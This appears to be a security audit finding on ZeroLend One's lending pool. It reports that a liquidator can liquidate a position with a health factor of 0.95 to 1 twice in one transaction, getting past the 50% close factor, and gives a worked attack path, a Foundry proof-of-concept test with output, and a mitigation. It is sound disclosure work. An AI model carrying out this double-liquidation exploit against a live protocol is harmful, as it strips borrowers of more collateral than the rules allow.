Shiny Seaweed Mongoose

High

# The liquidator can pay more than 50% of the debt and seize more collateral even when the health factor is greater than 0.95.

### Summary

Liquidators can only liquidate 50% of the debt when the health factor is greater or equal to 0.95, 
this is true but a malicious liquidator can pay more than 50% of the debt and in turn, seize more 
collateral and liquidation fee, by liquidating the position twice. 

### Root Cause

The root cause here is that liquidators are allowed to partially close positions in such a way that the position still has a health factor that is below 1, so the position is still liquidatable. So the liquidator can close the position twice to pay more debt and earn more rewards.

https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/logic/LiquidationLogic.sol#L259

```js
  function _calculateDebt(
    DataTypes.ExecuteLiquidationCallParams memory params,
    uint256 healthFactor,
    mapping(address => mapping(bytes32 => DataTypes.PositionBalance)) storage balances
  ) internal view returns (uint256, uint256) {
    uint256 userDebt = balances[params.debtAsset][params.position].debtShares;

@-> uint256 closeFactor = healthFactor > CLOSE_FACTOR_HF_THRESHOLD ? DEFAULT_LIQUIDATION_CLOSE_FACTOR : MAX_LIQUIDATION_CLOSE_FACTOR;

    uint256 maxLiquidatableDebt = userDebt.percentMul(closeFactor);

    uint256 actualDebtToLiquidate = params.debtToCover > maxLiquidatableDebt ? maxLiquidatableDebt : params.debtToCover;

    return (userDebt, actualDebtToLiquidate);
  }
```


### Internal pre-conditions

Position that has an health factor of 0.95 or greater but less than 1.

### External pre-conditions

_No response_

### Attack Path

Collateral Token A (TA) = 10k USD
LTV = 0.8
Liquidation Bonus = 1.05
TA = TB i.e the two tokens have the same value


1. Alice borrowed Token B (TB) 8k USD
2. The value of her collateral goes down to 9.6k USD so the health factor of her position is now 0.96.
3. TA = 0.96 * TB
3. Bob the liquator can only pay 4k USD of the debt token (TB) since Health Factor is above 0.95, but he has a way to bypass that.
4. In a single transaction the liquidator is going to liquidate the position twice.
    - First liquidation they pay 1.5k USD of the debt and takes (1500 * 1.05) / 0.96 = 1640 USD worth of collateral. 
    - So the remaining debt after first liquidation is 6.5k USD(TB) and the remaining collateral is 7960 USD (TA)
    - The new Health Factor will be 0.978, this means the position is still liquidatable.
    - The second liquidation will pay 3.25k of the debt.

In total the liquidator paid 4.75k of the debt which is about 59% of the debt instead of 4k (50%), so the liquidator has earn more fees and seized more collateral than they should.


### Impact

- Borrowers will lose more than 50% of their assets during liquidation even when their health factor is above 0.95.
- Liquidators will game the system to earn more.


### PoC

Add the following test to the `forge/core/pool` folder and run the test.

This is the output.

Before Liquidation
HF  : 950285714285714286
Debt: 140000000000
After First Liquidation
HF  : 994400000000000000
Debt: 100000000000
After Second Liquidation
HF  : 1148800000000000000
Debt: 50000000000

```js
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.19;

import './PoolSetup.sol';

import {ReserveConfiguration} from './../../../../contracts/core/pool/configuration/ReserveConfiguration.sol';

import {UserConfiguration} from './../../../../contracts/core/pool/configuration/UserConfiguration.sol';

contract LiquidationLLPOC is PoolSetup {
  using UserConfiguration for DataTypes.UserConfigurationMap;
  using ReserveConfiguration for DataTypes.ReserveConfigurationMap;

  address alice = makeAddr("alice");
  address bob = makeAddr("bob");
  address liquidator = makeAddr("liquidator");

  uint256 mintAmountA = 500 ether;
  uint256 mintAmountB = 2000 ether;
  uint256 supplyAmountA = 500 ether;
  uint256 supplyAmountB = 750 ether;
  uint256 borrowAmountB = 700 ether;

  function setUp() public {
    _setUpPool();
    pos = keccak256(abi.encodePacked(alice, 'index', uint256(0)));
  }

  function testLiquidationSimple() external {

    oracleA.updateAnswer(5e10);

    _mintAndApprove(alice, tokenA, mintAmountA, address(pool)); // alice 500 tokenA

    _mintAndApprove(bob, tokenB, mintAmountB, address(pool)); // bob 2000 tokenB

    _mintAndApprove(liquidator, tokenB, mintAmountB, address(pool)); // max 2000 tokenB

    vm.startPrank(alice);
    pool.supplySimple(address(tokenA), alice, supplyAmountA, 0); // 500 tokenA alice supply
    vm.stopPrank();

    vm.startPrank(bob);
    pool.supplySimple(address(tokenB), bob, supplyAmountB, 0); // 750 tokenB bob supply
    vm.stopPrank();

    vm.startPrank(alice);
    pool.borrowSimple(address(tokenB), alice, borrowAmountB, 0); // 700 tokenB alice borrow
    vm.stopPrank();

    oracleA.updateAnswer(3.326e8);

    (,uint debt0,,,,uint healthFactor0) = pool.getUserAccountData(alice, 0);

    vm.prank(liquidator);
    pool.liquidateSimple(address(tokenA), address(tokenB), pos, 200 ether);

    (,uint debt1,,,, uint healthFactor1) = pool.getUserAccountData(alice, 0);

    vm.prank(liquidator);
    pool.liquidateSimple(address(tokenA), address(tokenB), pos, 450 ether);

    (,uint debt2,,,, uint healthFactor2) = pool.getUserAccountData(alice, 0);

    console.log("Before Liquidation");
    console.log("HF  :", healthFactor0);
    console.log("Debt:", debt0);

    console.log("After First Liquidation");
    console.log("HF  :", healthFactor1);
    console.log("Debt:", debt1);

    console.log("After Second Liquidation");
    console.log("HF  :", healthFactor2);
    console.log("Debt:", debt2);

  }

}

```

### Mitigation

For positions that have a health factor of 0.95 or greater the liquidation should at least take the health factor to 1.